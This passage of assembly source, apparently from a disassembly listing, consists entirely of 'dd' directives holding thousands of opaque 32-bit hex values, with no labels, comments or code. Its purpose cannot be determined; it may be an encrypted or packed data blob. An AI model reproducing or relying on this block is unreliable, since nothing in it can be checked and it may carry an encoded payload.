		dd 0FF3A69BAh, 8553F48h, 57C6DB9Eh, 5865C9AAh, 5DBD3AD7h
		dd 2FFBF564h, 0F58159F8h, 9D0C7AE9h, 0CDD6C30Fh, 1A34D8FEh
		dd 2F8F355Bh, 4A348B4Fh, 0E917D1CAh, 68A04239h,	0F07E5557h
		dd 72E9395Ch, 2AC90CAh,	79B8964Ah, 1E12505Eh, 6BB0DEEAh
		dd 6B4C32F2h, 7808C8CEh, 58EAF610h, 623CB801h, 0BC4CE714h
		dd 0BE1A004Bh, 7FF825F3h, 131120F1h, 0F22FD341h, 70835B91h
		dd 167C8167h, 899AB16Bh, 75215E22h, 0C5711762h,	6032E950h
		dd 6851389Dh, 0CC2D4634h, 1445447h, 0B833B9D0h,	15D7089h
		dd 0D65FFA2Fh, 0FDE9592Ch, 0A2257BC1h, 768A4EFAh, 27BD5A78h
		dd 6FA45B00h, 172AF581h, 0FB264BDFh, 97128A01h,	0F13F7607h
		dd 4DC6E473h, 4C27612Eh, 64FFF600h, 25E91428h, 0AAF1442Ch
		dd 0BE4A123Ch, 2F216D28h, 0FA255FF8h, 4E51E868h, 76AB39BBh
		dd 2AB13D3h, 6658CFCFh,	0BA31035Ah, 0D2721B0Ah,	42E4FA13h
		dd 8A849006h, 5E3D82EAh, 337109h, 0BCB380E9h, 87BB6375h
		dd 8177A7F0h, 3CDDCB09h, 425E85DAh, 40B9FED0h, 7B612C53h
		dd 0EF29501Eh, 38C16817h, 0BB65CCh, 472E6610h, 8FB950B8h
		dd 3EBCC24Bh, 0BA78BF73h, 5DC225B1h, 42F15D55h,	0EC7A5C71h
		dd 0E74BB189h, 78CFF804h, 648BC327h, 89902437h,	84D76BBCh
		dd 0B5C25D24h, 0D7C0DDE8h, 0F14FB0E9h, 656671BFh, 0EE32A63h
		dd 0F605B480h, 0E12E68D4h, 12C23C10h, 14A10F86h, 2A2D384Ah
		dd 15DB2F0h, 5B4B4662h,	3AF7FBE9h, 2DCB91E8h, 7D68A977h
		dd 0CBEE2C8h, 6B741B13h, 0F431D7FFh, 572FECA3h,	22E9C3B1h
		dd 0F74612F2h, 61AB01D1h, 3A8BC053h, 5FFC34A0h,	0A78E970Bh
		dd 0D1570948h, 0F446C460h, 0DA9C2C88h, 66161B03h, 7A80ED54h
		dd 0E53408B3h, 0B8B7833Eh, 2CB12C00h, 0B050D9F6h, 0B56877D5h
		dd 0B71794E6h, 3F00C029h, 865CB252h, 0E6E925E2h, 5E551FC2h
		dd 855A0B42h, 63264820h, 114474Eh, 4A0705E8h, 0B9F835EAh
		dd 20BF8BE8h, 5F86B8BFh, 35391C5Ah, 418E81F4h, 9F48D0F7h
		dd 95C42D02h, 86F8872Bh, 4421FA5Bh, 5D2AEC9Eh, 28CC077Ch
		dd 36F7B2EBh, 9EBD4FCh,	0A2B4D5CCh, 7D12452Ah, 6065BFF0h
		dd 0D04FCDA5h, 5BF3645Eh, 0E504C4B3h, 0B2FC30Fh, 0D0E9E898h
		dd 0D5D27C2h, 74EFD5A7h, 55F4BE47h, 0B717CD8h, 3FFC6872h
		dd 70012046h, 0E905317Dh, 0B9A786DCh, 81638950h, 4E51C109h
		dd 0D291A2A4h, 0FC0756BAh, 40B0B531h, 82BD0555h, 0F41FAD10h
		dd 1B0D8DE8h, 11016876h, 2B2E2485h, 0F514C0EFh,	993130A3h
		dd 5D08210Eh, 8444C1C6h, 901EED3Bh, 0D2132FE8h,	34C09D9Eh
		dd 0C43460D4h, 4CB6B01Dh, 23CDC24Ah, 2912EC58h,	0D8BE5AD6h
		dd 635EB80Ch, 816ED933h, 0F03B263Dh, 0E25FF73Ch, 7940D089h
		dd 5ACB78B4h, 781CAF5Ch, 0F30B0EDFh, 0FC6A8013h, 2212D203h
		dd 0BC8A7168h, 6FF7F440h, 0BE791B01h, 746731C2h, 0FE880560h
		dd 0B7A5A30Ch, 1A8757C1h, 4B1CE47Ah, 0BDAE50Fh,	9DE90531h
		dd 4A04FDD5h, 72FA93D5h, 20C4680Eh, 0FE2BE913h,	0F98F39AEh
		dd 44BC7A28h, 52565780h, 7B1C9F68h, 0B06C5AE2h,	890F9D19h
		dd 0C2FB9A45h, 38D84785h, 3F296C9Dh, 6412D021h,	0DE71ECC9h
		dd 7917EA4Bh, 86A28B22h, 0FC98E7A9h, 0CC976729h, 897F9587h
		dd 573E578Bh, 0C12423BFh, 894BF5E1h, 8E1659Ch, 591DCCCDh
		dd 0CF6738Dh, 975B1F2Eh, 58E9806Ah, 0F0BF2C5Ah,	283E180Dh
		dd 4F152EE8h, 4078A297h, 80F709CFh, 8823B2BFh, 165D900Ch
		dd 34F25E7h, 1C6CC59Bh,	0C7E958C8h, 0EA99F8B4h,	9B8E2F84h
		dd 0F70125F2h, 38D72910h, 74F3D7C2h, 3BC9994Bh,	8DE93C30h
		dd 2219DC8h, 201203ABh,	79FADE65h, 0B0DEB76Ch, 406E4C7Dh
		dd 0AAD1B3A7h, 8AE78900h, 4740842Dh, 0CFF04Fh, 39A62188h
		dd 5617B951h, 78F54825h, 0BA295C47h, 563A95Eh, 2EEE7FA1h
		dd 9381A717h, 12A32FFh,	0DF458544h, 0FBEC7A6Eh,	0C3E3E9C2h
		dd 0E868B4A2h, 391946D5h, 4C12D188h, 0AFD1BE87h, 71417705h
		dd 51F97BA0h, 0B7B05DECh, 0F708BAA1h, 362080D2h, 0E99A33B3h
		dd 255A9499h, 0BF00935Bh, 3CA458A0h, 36AF02B9h,	0F93106A3h
		dd 3AEDD361h, 3765D5A5h, 30E1F12Fh, 8F91B2DAh, 39536884h
		dd 0D154648Ch, 650B522h, 233213F8h, 0C57BC69h, 78306116h
		dd 2B391211h, 905E0176h, 607E8469h, 38029120h, 1E9B73Ch
		dd 219CD706h, 0BF00F98Ch
		dd 58507077h, 0D6D7F74Fh, 85C2AE04h, 2389DE65h,	6B2AC21h
		dd 62B67FE9h, 5B8C89BDh, 6E39CD9Eh, 0FCD3FCACh,	5045E258h
		dd 14F0BDF2h, 662C0D04h, 1D800EA8h, 0D7F54639h,	5009BA80h
		dd 9DF0F822h, 846F5CDCh, 44EAC2F1h, 19704B03h, 4CF85286h
		dd 5F1CCB9Eh, 142785FBh, 0F668133Bh, 0CCDE605Bh, 515A9D3Fh
		dd 8D3E48E1h, 26FD7A5Ch, 2F61920Eh, 0EA00AA32h,	0BB05F1C9h
		dd 905B406h, 68820462h,	8409946Ah, 0D2AB9044h, 6FFDE6EDh
		dd 0FB6887C6h, 0D95D090Ch, 0C4D1EE77h, 0BE0E5E9h, 34DA77F7h
		dd 0CE0E8D3Eh, 80854DB1h, 0E90AFBB8h, 0E463B82Dh, 95CA90D8h
		dd 680049C6h, 0CD25B93h, 1284BA5Fh, 0C0181ECCh,	2CCAE9A2h
		dd 45C293C0h, 9774D56Bh, 42EA28E1h, 0EB815B08h,	2BC862B2h
		dd 2C9285C0h, 0D1272478h, 3FB838EDh, 706CEE5Fh,	66A740A2h
		dd 88C056BFh, 0E82D8072h, 12DEC677h, 0AB9A308Ah, 0ACCA4316h
		dd 7E6AB54Fh, 8985B8B8h, 0B3B5A8FAh, 41E07B54h,	536E303Bh
		dd 1E95A77h, 0FAD57F2h,	8FBA2A7Fh, 0C9F805E9h, 7483C237h
		dd 80290E79h, 0C6606DF6h, 3E6C015h, 60070CD6h, 0C5F75AF5h
		dd 82B1043Bh, 2E857D1h,	0B556F8E0h, 0E3CAF971h,	74D06C12h
		dd 444A78h, 1B3B0D06h, 0DC052C31h, 0FD88D517h, 0BD2969B0h
		dd 0B9A1F6h, 2BFE3157h,	953C1268h, 0D6A0BF98h, 4A2A8E82h
		dd 9601EBD2h, 2911DCF5h, 9FC57120h, 0E657080Bh,	0CA65B7D0h
		dd 0E9040F2Ch, 0D992A3E8h, 0C7DAE058h, 1E0ED292h, 3C01A548h
		dd 2AF6F4E9h, 0E0760A45h, 68E3F241h, 8B237C9Ah,	0A4A5563Ch
		dd 4C25565Ch, 98E912AAh, 5CBFDCC0h, 949F83B3h, 0D50829A7h
		dd 8BB479C9h, 7C505B14h, 0B851652Eh, 0DF52A3DCh, 0CA23E1F7h
		dd 17D3AB59h, 0F92E95B2h, 0BC20B5EFh, 3C861C2h,	70E90D42h
		dd 80A14B1Dh, 0FEB6AF7Fh, 0E2E9782Ah, 42FAC44Bh, 43380162h
		dd 0A4308177h, 0F22EE475h, 52C38FBEh, 38E925CCh, 0EE5B2377h
		dd 0F168D860h, 0D467C425h, 8B2DF22Dh, 88B26009h, 2D6FE4F5h
		dd 0B05F5928h, 957EA76Fh, 0EEE283DCh, 19EF20Dh,	0BB0C58F6h
		dd 2AF3091Fh, 8DE024D9h, 4E14F274h, 8147B94Bh, 0D054698Fh
		dd 6DCEA80h, 0F3016E86h, 1F29509Dh, 876F8718h, 0CD1127EEh
		dd 0C65EF902h, 0A809DF56h, 12515B70h, 5137AA34h, 0FD8A5D95h
		dd 0FED7B501h, 0A8D5F6CDh, 29256108h, 0C26AFC9Fh, 9ADF109Ah
		dd 0F6776ADAh, 0F3CD2736h, 2F165F2Fh, 12A7D89Dh, 0CD504168h
		dd 8DA40CB7h, 0F21DEF4Bh, 54BD0A8Bh, 4F9F83B9h,	0A3D953ADh
		dd 0C1FD2C84h, 0EF5D7C79h, 0E90AC13Eh, 569B643Dh, 0E97045B1h
		dd 40465E64h, 852FA58Fh, 0EC1524Dh, 4B100BCAh, 3C5C7B30h
		dd 8858496Ch, 3F35846Dh, 52342189h, 787D4199h, 1A0B789Ah
		dd 0F543397Ch, 0D8FE7E96h, 6F8074Fh, 6AA4EFA1h,	244842B6h
		dd 0AB50B705h, 47E1FA0Eh, 4B990804h, 635D8F01h,	82207049h
		dd 9BF5F951h, 0E2F7E82Fh, 81F778DDh, 122E13CDh,	0C0E3AFCDh
		dd 7421BF89h, 0DD3C66BEh, 6F782017h, 622C6713h,	0F80457B9h
		dd 0C094FDC7h, 101D6EE2h, 485A4758h, 0E90840B0h, 0ED05D35Eh
		dd 818F64h, 896B7CFAh, 0DDE96F57h, 0BF19EE30h, 4325675Ah
		dd 0F44F0956h, 9D803BAh, 0CE98303Eh, 1D6546E9h,	1B83E5C1h
		dd 87F740A6h, 8D2B1680h, 5B99FF45h, 0B9820C05h,	0EDC82B3Ah
		dd 2E8A7CB0h, 27BB0880h, 4B0A0EC0h, 0F6583F28h,	252FAE3Bh
		dd 0F53D6357h, 81C081Ah, 75A7D414h, 53003136h, 0B42CC968h
		dd 30E95B50h, 52956684h, 4E987CB6h, 0DB905AF2h,	0D84B9E9Eh
		dd 0E4DAB7EBh, 5E224949h, 61ED60C5h, 822B5E48h,	6D00AD3Bh
		dd 7C166EEBh, 273BE4BDh, 6DF011BDh, 418B1FCh, 501F01B6h
		dd 66832568h, 0C83EE873h, 22AB96D7h, 7B5FC6B1h,	244D27C2h
		dd 174C6E0Ch, 0FD52BDC3h, 0A594F6F6h, 80E7D109h, 413A3086h
		dd 0FE369054h, 0E8624BCEh, 284F8BFAh, 8B2590A7h, 0CD875D51h
		dd 0E9C80035h, 51B5B27Bh, 26680491h, 0C429E876h, 6CFCDDFCh
		dd 698FD196h, 0B7CC6F9Fh, 286CFFAFh, 948CC5A7h,	0F7B0AB1Fh
		dd 0CC504AD0h, 9540C4CFh, 48D73468h, 34338635h,	4EF58719h
		dd 80D78106h, 0EC462D0Ch, 119A06CDh, 1A4544FEh,	48255009h
		dd 29330E1Bh, 0C4BB6226h, 0CA31260Ch, 0BCBB45F9h, 0CB777065h
		dd 0ECAF862Dh, 0BDC8D8A6h, 8A48E381h, 0F66F3D1Ah, 21BE9C4Eh
		dd 675F79D9h, 0C13E2609h, 7EE94AACh, 0BF5700C0h, 55B93C6Ch
		dd 5CAF6812h, 84211234h, 482C3F5Dh, 67EE0C1h, 6AEF4068h
		dd 765B443Eh, 5E08BDC1h, 509532Fh, 0FE10184Fh, 68BE0634h
		dd 0E155E9FAh, 4EAC2EEEh, 91BB44A7h, 128440Dh, 51222h
		dd 0F573A57Ch, 0EC24B52h, 7E8924F9h, 1661035Ch,	180037F4h
		dd 4B8B1ACAh, 9006E3C1h, 56DCCB8Ch, 0C600B2D2h,	6EED57CAh
		dd 95EF729h, 2EF8358h, 7E9ECEE9h, 6CBB0682h, 557302F4h
		dd 0DF016DBDh, 5B160808h, 5871D8D8h, 1895B78h, 0BC5C2364h
		dd 0B4B0A0C5h, 5BDF7F2Ch, 804DC0EAh, 0FEE09AEEh, 7EEBC6EAh
		dd 844E6ABCh, 0E2B3BF5Dh, 0A301DB17h, 10264C4Ah, 4C7DBB67h
		dd 291351DAh, 4F8AFEC7h, 8B4F6505h, 0F4D4EF36h,	0DF5A080Bh
		dd 0C18789C7h, 0CACA10E8h, 69ABE60Ch, 0C1DB0EAh, 2F386CB4h
		dd 808283CAh, 3245E132h, 4F6B841h, 983E1EF5h, 8888EA58h
		dd 5A03EDC5h, 0B5C1DECBh, 1EF22AA0h, 3D95144Eh,	364C601h
		dd 0C7E68127h, 574F36F8h, 2D55E916h, 959DD2E4h,	3056B689h
		dd 872207E3h, 0EBBADD09h, 32FDC362h, 2656BB23h,	0C212A29Eh
		dd 80099ECAh, 121E17D4h, 9A29484Eh, 0E02D945Bh,	0CAB72DFCh
		dd 0A49A750Bh, 7B4FBF80h, 81015CACh, 9E64D2CFh,	2724F750h
		dd 0A5333931h, 983F2648h, 0F89BC128h, 12B17584h, 407AE9CDh
		dd 544F68F7h, 5B4E48BFh, 822F68F1h, 0F17FCA38h,	9077A7D9h
		dd 0C9BCE50Eh, 29DFC3BDh, 48B5640h, 824CBD46h, 0A2DDBE8Fh
		dd 3EF7D0h, 177AC4B9h, 749B5158h, 1E284C1Dh, 273BC981h
		dd 0F36165F6h, 4EC699DCh, 1860926h, 4EF40F92h, 0C4517EAFh
		dd 1D45FC9Eh, 0FBE8D088h, 0BB816991h, 6276649Bh, 285C9E20h
		dd 83F370h, 8C9834C1h, 9938E9EEh, 0AAEFCBC0h, 0A14E3B4Bh
		dd 163F8380h, 482EB2B9h, 50812034h, 3E75BF58h, 8703D12Fh
		dd 31D3F7DFh, 8FB26A7h,	6ADDF6C4h, 0E0D75D0Bh, 7E243E73h
		dd 0BDD7B4F3h, 17A3660Bh, 0FE276CDEh, 0E0F57316h, 71038AEAh
		dd 24E965A5h, 0EA1B2C91h, 3F413C59h, 2568B6B0h,	9A18580Ah
		dd 0D70C1F9Ah, 0B962D75h, 0FF2125E9h, 94E8157Fh, 4810865Ch
		dd 0AAF54A41h, 0D9F8E57Bh, 4A57EEEh, 0BA81342Ah, 0AB71BD49h
		dd 7CE65F43h, 9D73F89Dh, 7BAF02E5h, 0EBDD174Ch,	0BF4303D6h
		dd 0D97ABDFEh, 12D7AFFBh, 506ED6B2h, 514C5D54h,	89B62781h
		dd 312B5F88h, 2FA4004h,	5587F129h, 0D45BBAD0h, 0A94B60F3h
		dd 98FFB586h, 0AD4FB0D4h, 530122FCh, 11E936B7h,	47343B8Dh
		dd 70E1D8A8h, 70346E7Dh, 410AFA8Ch, 4B203F7Ah, 4AA1214Fh
		dd 0BEE7F054h, 29115165h, 0E20B21FBh, 3CF32EADh, 99D06EC4h
		dd 2B16E5F3h, 0F8A2B484h, 0CDBF0EA6h, 45D2A1A8h, 0FF64C131h
		dd 0C9747B43h, 0A5EF7C2h, 0BC19276Ah, 76E4F85Dh, 250B949Dh
		dd 0E2F134BBh, 1B7F088Ch, 641B4BC0h, 8C31ABD9h,	0D5C261A9h
		dd 0F66BBCF1h, 0CCE950A8h, 0F69440h, 51ECD0D4h,	0F580EDB5h
		dd 5808BB3Ch, 0EC172A16h, 0FEF8882Eh, 87979C17h, 4F792C21h
		dd 4E3F82Eh, 42FB4644h
		dd 6B0403FFh, 0C006CA9h, 27889265h, 54C7105h, 0E8013B7Ah
		dd 0E907052Dh, 2E488928h, 49103CF9h, 0E4AC6EEFh, 98EF7E12h
		dd 0BDB66727h, 0A1A1F827h, 0C096A343h, 7CF708F2h, 0FAB05F13h
		dd 0D653092Eh, 7D76890Fh, 0A6859B17h, 5A18CFEAh, 0A9D44AF9h
		dd 15D8910h, 80EBB353h,	0E3CCF5C3h, 0B1E3ED11h,	0A80CBFEh
		dd 5BD920E8h, 575CB652h, 7C192C4Dh, 3091CA39h, 5E023D78h
		dd 68616E74h, 0DDC20360h, 95936245h, 0C51DCE52h, 0B65633D6h
		dd 407288EAh, 0E4A557Dh, 99FBCD17h, 0BFE3F4B8h,	0E4FEF2DBh
		dd 0FE5E71B8h, 50081662h, 34579568h, 5ADD98C5h,	6C9C8941h
		dd 0BAE21563h, 7E4D780Ah, 26BF1D3Fh, 0C28B24Bh,	0ECAA0C41h
		dd 5F591757h, 0C329AF51h, 65774501h, 36F4AB04h,	0FEE5128Ch
		dd 0B7C9AF02h, 4119DF20h, 0A4A63F66h, 1DFD6809h, 982B1455h
		dd 25BC2D22h, 6C4C5C66h, 3FDC4884h, 40DEFEAh, 389C65F4h
		dd 0E7A44E3Dh, 2B073A8h, 6ABF20B7h, 976FA154h, 6B62F6C1h
		dd 88FA4617h, 6F9F5CA1h, 99E909E2h, 0D0A45071h,	7195CA22h
		dd 3F77710Bh, 0B24F2EF9h, 67FEA518h, 37EA445h, 706EFC1h
		dd 0AB82864h, 51E16F74h, 6F539D2Ah, 80B6694h, 0A91465Fh
		dd 0A94DE954h, 5F0A3C9h, 0BD64CB68h, 0BD86334Fh, 0BB55FBBFh
		dd 0C4B4DA1Dh, 0E7C675EEh, 4ABF86Fh, 1A3E6F35h,	619C39C0h
		dd 1412DB3h, 1FAC875Eh,	0E97D0B20h, 697D1C69h, 0D02F8A1Fh
		dd 7435E70Fh, 7AB0994Eh, 69A01F6h, 5FFD89D7h, 66A17E45h
		dd 873EA02Eh, 8EF8F550h, 5902D79Eh, 6138A944h, 0B06008C7h
		dd 1BDD0B68h, 71DE3A36h, 2D6790C9h, 0FDC617A6h,	0E9E4805Eh
		dd 4EC0773Ch, 0AC19A168h, 0E0EC9061h, 0C39FC016h, 6A779A2h
		dd 0B84FA5B0h, 4AE69998h, 71C8FBE8h, 400D04B8h,	0D13137A0h
		dd 7B1AE669h, 41EB4A22h, 632B014Dh, 90B1F52Eh, 0F8C7F94Bh
		dd 0FC60CDE9h, 613BBD56h, 51A058D1h, 0FC085D27h, 481801CFh
		dd 2131080Bh, 0D6FC6062h, 44EF954Bh, 8C715EA2h,	0CBB65FFCh
		dd 9F94E66Fh, 1F605DFh,	80A1A4BCh, 23352808h, 68F53C5Bh
		dd 685E0800h, 0AA38FBC4h, 6BC9EED6h, 0BB2ADA25h, 8B3F182Dh
		dd 0D2521000h, 0AE10EB5Ch, 0F301137Ah, 1621A90Eh, 5F5ECEFAh
		dd 0E91538BAh, 1212394Eh, 7D842506h, 30F93017h,	4607BD0Ah
		dd 0F43C052Dh, 8EE9610Bh, 3BBC3AD8h, 7921FAE5h,	462FB4CEh
		dd 0AF7F0D5Fh, 7D03C981h, 3FC14117h, 0C3FB5617h, 4499CC44h
		dd 0D846B6Dh, 34E90703h, 0BA282F0Ah, 0C055E36Ah, 0C90F480Bh
		dd 8358F15Bh, 7E2D057Fh, 2CCA785Eh, 28CC3B7Dh, 2ECB0594h
		dd 0E90C6E67h, 15BB8274h, 1922400Bh, 0E77FE12Ah, 0BBB9D328h
		dd 0CB4CCF90h, 0B67DD402h, 95932D5Bh, 916279A8h, 510D3802h
		dd 0FD06C276h, 9D018B7Ah, 29EE99EFh, 0B06E5FF8h, 7C4B31B6h
		dd 0B2968EF9h, 79B49394h, 0D2CD5880h, 2055ED04h, 0D88EEFEBh
		dd 5CD09E50h, 0B40EAAE3h, 31D228A7h, 1502C413h,	6CB5F1EEh
		dd 31C287BBh, 0B7AC6036h, 0B3D2F829h, 9A470706h, 0F1B0293Ah
		dd 0C496CF1h, 56E6C742h, 0A1BB6243h, 301C864h, 5044CF81h
		dd 502F668Ah, 9504F80Dh, 0E0E32916h, 0B94E4CABh, 0AAD2B3BCh
		dd 4DFE9FF0h, 0BC40B997h, 6910008Dh, 7C4BF53h, 151DC5Eh
		dd 236C20A6h, 1D48A7E4h, 9105B27Eh, 0BD20C1D3h,	1F412968h
		dd 0B8879AB4h, 5D18C2FFh, 5E052DEh, 0BB41C93h, 1B45E9E4h
		dd 57CB95F9h, 43B115C5h, 292FBCE9h, 12FC60FBh, 5BF98800h
		dd 0FE03E1C0h, 90DEA3C1h, 1322D868h, 0EFAF04E9h, 49865B20h
		dd 0D1535CEDh, 3A022A4Ch, 89600E7Dh, 0F281B540h, 7F791306h
		dd 90E4A61h, 529C4DAEh,	1D7B0255h, 1E46A84h, 0DD295B54h
		dd 87137666h, 0C632ED2Ch, 5A857BFCh, 2F90B5EAh,	4C35B420h
		dd 0E939084Ah, 442CAE9Eh, 5AE0FB09h, 0B9C20621h, 8831A034h
		dd 0CBFC6FF3h, 8059A1A1h, 517FBB3Ch, 0F5245C7h,	0ED661BBAh
		dd 7809E942h, 7A2D5455h, 8BE4D3FDh, 7DD805E9h, 0C019B012h
		dd 7CBBC41Fh, 8F1F532Eh, 623CD9C9h, 465D5866h, 7B9809BFh
		dd 2B80704Ah, 5326DB4h,	8E1C7CB0h, 89925206h, 0D08B4AC2h
		dd 0B706A06Ch, 433D2D19h, 0AD392454h, 3FC258C5h, 1793F581h
		dd 0F87FC049h, 320B7630h, 0D68C20E9h, 3D3C509Eh, 527418B5h
		dd 5D51B754h, 0EF912064h, 0C6F5FE01h, 17D2B27Bh, 0FBE8B06Ch
		dd 592D1AD0h, 4F308D4h,	4A685883h, 454BD81Eh, 8BE71C5Bh
		dd 6254459h, 0C5059372h, 0AE33C001h, 0F8E0D0FBh, 3FE17D57h
		dd 0F9060F3h, 0CB925D24h, 5392AC5Eh, 201D9AAFh,	5068B401h
		dd 0A9BD89E9h, 0EF31042Ah, 53582109h, 90824D20h, 0B807AA48h
		dd 0B1AEB9DAh, 37644FD0h, 5341B2C6h, 0BD61841Fh, 0A542E8ABh
		dd 0D60B8EABh, 7A2013F5h, 82713EAh, 4BCE0218h, 0EF00C072h
		dd 0F21F06A0h, 9AB2F0E9h, 0F2CD5B9Eh, 360E6F37h, 295829ACh
		dd 0CC72A02Dh, 1E35B52Fh, 985797CCh, 9A59E956h,	41C6BBEEh
		dd 242EE95Fh, 5377555Eh, 678EC625h, 6349A5F7h, 3322C6Dh
		dd 0CE272C68h, 9F9CD107h, 0DB041481h, 3EA1B652h, 800CE0FCh
		dd 0EC0632EEh, 0B3536614h, 38DE3BDEh, 5AF0185Bh, 30E9DB17h
		dd 2972B5F1h, 580E2DD8h, 0A16E6D3Ah, 3DA14410h,	1734DB60h
		dd 0AF767C79h, 0DB3E6A04h, 0D9FB69C5h, 70D0E1C9h, 87611E6Eh
		dd 77F96850h, 9CC1E268h, 3B362F6Ah, 1105DB2h, 0E1E9127Ch
		dd 46F83085h, 0E9E280F4h, 46B57F7Ah, 6B462D58h,	9C02BD66h
		dd 0E9380645h, 8FF878h,	0F6497BBh, 6725B973h, 0E9D77A28h
		dd 0D77F0BB7h, 0F88F7E5h, 0DA310E6Eh, 0E927E0E5h, 0BBB707D3h
		dd 29B21EC7h, 0CC550434h, 0E2BA5D11h, 6F46DEB5h, 544BE36h
		dd 0AAF0EEE9h, 7216B605h, 274F59DDh, 10583056h,	0A837D61Bh
		dd 0BBEB16CEh, 5B7BDDA7h, 4B370958h, 8314FB07h,	0A3E105A7h
		dd 93837CE3h, 1AED3501h, 0EF707BE4h, 0CCDD8215h, 2068129Eh
		dd 38BB8A53h, 0D629CD24h, 0D0A371EFh, 3FD2D5Dh,	15F20630h
		dd 0A3C8E14Fh, 0BE69024h, 0BAF7707h, 272CB055h,	522D374h
		dd 20B6698Ch, 3F0595BEh, 84AA4E4Ah, 0AF0816F9h,	15E9B160h
		dd 5DCF2F55h, 924F6AD1h, 0E004F2F6h, 0ED718A15h, 37AE06A4h
		dd 1D0C463Dh, 840E2A6Fh, 0BE5A5D52h, 890A9E8Eh,	10EB59CBh
		dd 47680E95h, 0A3BE126Dh, 7DE9C240h, 56F3DFEBh,	0C3135C12h
		dd 0A2FF6F84h, 0F750C9C1h, 0B1601896h, 5FFD296Fh, 9556905Ah
		dd 2B582FE1h, 0A1C9C4E3h, 7E2FF8F4h, 1CDDD2D7h,	0AB2D5A64h
		dd 50B8C212h, 0B835C0B4h, 7517664Eh, 77B49AE9h,	0BA209EBh
		dd 667D4088h, 0A8DD4FEAh, 3C12D471h, 0B0A1380h,	0D7CD50Ch
		dd 46DB30E9h, 610DF54Bh, 0C073937h, 7372058Eh, 642EE5FFh
		dd 599DEAB0h, 44F4085Ch, 23685302h, 0D7187F59h,	854E2937h
		dd 62FE7D00h, 0A031258Eh, 173BBBA3h, 0BCDDF4B4h, 0DB4D38FBh
		dd 5709C320h, 0D8B5A01Ch, 0F94DA0A3h, 9DEA0FB2h, 0D7A6EE29h
		dd 50BF1A52h, 4AF7F0D6h, 0C12CA89Ch, 3ACD2F83h,	90FCB92Fh
		dd 10104C0Ch, 5E3B8FEFh, 0BC7B2517h, 428582F1h,	0FBBA0086h
		dd 2D12DE70h, 83615152h, 7D68EAE9h, 6013B54Ah, 0D3A043CDh
		dd 4428CA2Fh, 0AD208B0Bh, 0CBE91317h, 8264F372h, 765EF268h
		dd 8B01597Dh, 0F8FBE91Ah, 0D48071Fh, 2E5B372Dh,	0EB958D82h
		dd 2A8024E1h, 8E034D5Eh, 60DC41Dh, 9E31EF8Ah, 6C5E243Bh
		dd 4BFB3D16h, 1BA795B3h, 0BCFC0B68h, 0E8935D1Fh, 8A4E1EB3h
		dd 4EDBD197h, 0DF68FD80h
		dd 0FD2AE13Ch, 23E9C5E0h, 8D5806B9h, 9ADE091Eh,	0CC5D95AFh
		dd 0AE5D64A3h, 8C21BFAAh, 1ED43D27h, 0C2DD3EBDh, 67C0E1AFh
		dd 8B9E98E9h, 58FBED97h, 9CA818E5h, 4BF68080h, 4861A32Fh
		dd 72902DC4h, 2D2B9787h, 0BE019885h, 0BD5974E0h, 3A5BDF58h
		dd 613B50A5h, 41D921DAh, 6B06E9FDh, 99E231BDh, 2F5EDBE9h
		dd 5B8621AFh, 0C55334CCh, 4390E8E4h, 8099A369h,	69BA523Dh
		dd 7FFE7548h, 318A2F42h, 0D2972A7Bh, 671729BDh,	3ED8FB6Ah
		dd 5471F8CAh, 0FBDA414h, 663C0AE5h, 0ABF77865h,	8BDF6EB2h
		dd 0FB448B55h, 78E58779h, 0CA301B77h, 0B1C5C976h, 4BB71280h
		dd 0F780E7D0h, 0C73B0473h, 49EF01BEh, 0D1F6CF86h, 2FE90884h
		dd 0E1DAD86Fh, 6AA0532Fh, 9805D0BAh, 123D0276h,	0D6F70F5Ch
		dd 0C282E4F4h, 57281754h, 4AE90481h, 0AD7C92E1h, 0E66ACB8Dh
		dd 77D42F86h, 0EC536031h, 56B773A7h, 0A71849E1h, 0AC940384h
		dd 0C7283851h, 7C8FBF3Ah, 61452E10h, 0AF28BF71h, 0CA804FBBh
		dd 5D7F10FFh, 0B6DF5E27h, 0B599FACh, 97F41EA7h,	2E52BE10h
		dd 146510BFh, 2F157B9Bh, 4ADB73AAh, 57F441A5h, 0E9B3607Eh
		dd 0E0925CC4h, 885CCF4Fh, 51BE09FDh, 6820D718h,	5E1C7DD6h
		dd 82528E96h, 2707138Ch, 0D07472C8h, 0EDF2ADA4h, 0DDF71388h
		dd 144A1BA3h, 0CF006B4Ch, 0E94B8858h, 0EE9582CEh, 0B25AF6B0h
		dd 0B6D6BFB1h, 0C9F7B053h, 4CAC1C29h, 8D802FE9h, 805045BDh
		dd 7E6315Ch, 423E7DDFh,	5E93E560h, 0F5434EF2h, 49C0CC2Bh
		dd 813764Eh, 44435CFBh,	0F8B0E9F5h, 2ABF4E90h, 0BCA24A1Dh
		dd 4DCD5E5Bh, 0D2B9F31Ah, 0EDF1DD78h, 51116CE7h, 0B1F02A9Dh
		dd 0BB2C0144h, 0F624B753h, 0F19F20DFh, 9398F8FCh, 64EAB14Fh
		dd 0FA30837Dh, 8C28AE9Ch, 0B0F5FA5Ah, 87902F11h, 310522C6h
		dd 157868C3h, 631180F3h, 0F6EB279Ch, 950A7B3h, 91BFD09Fh
		dd 0B7E3084Eh, 97FF5D12h, 0F247D1B5h, 2AC9718Ch, 0A42F6299h
		dd 0F065427h, 722D2AEFh, 3E684810h, 0EA441E04h,	205F836h
		dd 175B4325h, 26605739h, 0A225062Dh, 27C47E71h,	0ECED9494h
		dd 193E6F41h, 0EAE2137Ch, 525FD702h, 0AC9C5DF7h, 7E9226C1h
		dd 452F4A1Eh, 3C57D9Fh,	4931E9CAh, 0BE002776h, 1CA9F92h
		dd 22959C8h, 7F432DF8h,	0E54E78A0h, 7E9CA655h, 13CC6C88h
		dd 0FA64A12Bh, 22A07813h, 3AD4C23h, 391A45B1h, 0E9312F8h
		dd 1F35841h, 7EE90D37h,	0FF044474h, 0C7172522h,	1B0D454Fh
		dd 0DDBEB83Ch, 91AAE217h, 2AF10158h, 72EEA167h,	0F3F4EEECh
		dd 10514255h, 290B076Eh, 0D27605D0h, 43492D83h,	0B2139D9Bh
		dd 4E6A78BAh, 0F4957D92h, 0C6657942h, 0A4E6BCA0h, 1D5E2152h
		dd 46CADBECh, 0FB8A1EABh, 0B7A1EBBh, 0C52CEA36h, 0C8CC2077h
		dd 3833652Dh, 0FB59C1h,	0EA405D8h, 55537EE3h, 799F6802h
		dd 405D32A9h, 254C2AF4h, 489B0F1Eh, 0C2D5EA9Ah,	593A5CC6h
		dd 168022D8h, 8BBFF3B4h, 0BCC567Dh, 0E6563168h,	0E0A62F92h
